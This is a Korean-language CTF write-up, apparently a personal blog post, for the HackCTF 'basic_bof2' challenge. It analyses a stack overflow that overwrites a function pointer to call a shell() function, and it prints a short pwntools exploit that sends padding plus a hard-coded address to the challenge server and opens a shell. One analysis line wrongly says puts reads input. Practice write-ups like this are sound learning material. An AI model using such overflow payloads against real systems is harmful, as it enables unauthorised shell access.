[HackCTF] basic_bof2
System/PWNABLE

[HackCTF] basic_bof2

728x90

checksec

- 32bit

- Partial RELRO

 

Analyze

pseudo code

 

- 스택 버퍼에 문자열 s에 fgets 함수를 이용해 133byte만큼 표준입력을 통해 입력받도록 한다. 하지만 이 때는 133<0x8C(140)으로 버퍼오버플로우가 발생하지는 않는다. 

- 대신, 그 이전에 sup함수에서 puts함수를 통해 s에 입력받도록 되어있고, 여기서 스택 버퍼 오버플로우가 발생한다. sup함수는 v5로 리턴된다. 

- shell() 함수에서 쉘을 획득할 수 있도록 system("/bin/dash")를 리턴하고 있다.

- sup함수에서의 버퍼오버플로우를 이용하여 v5의 값을 shell()함수의 주소로 바꿔 쉘을 획득하도록 한다.

실행

Exploit

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3001)

pl = "A"*(0x8c - 0xc)
pl += p32(0x0804849b)

p.sendline(pl)
p.interactive()

! 성공 !

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1)  (2) 2021.02.04
[HackCTF] offset  (2) 2021.02.03
[HackCTF] ROP  (2) 2021.02.01
[HackCTF] bof_basic  (1) 2021.01.22
[POXX 2020] tips  (0) 2021.01.19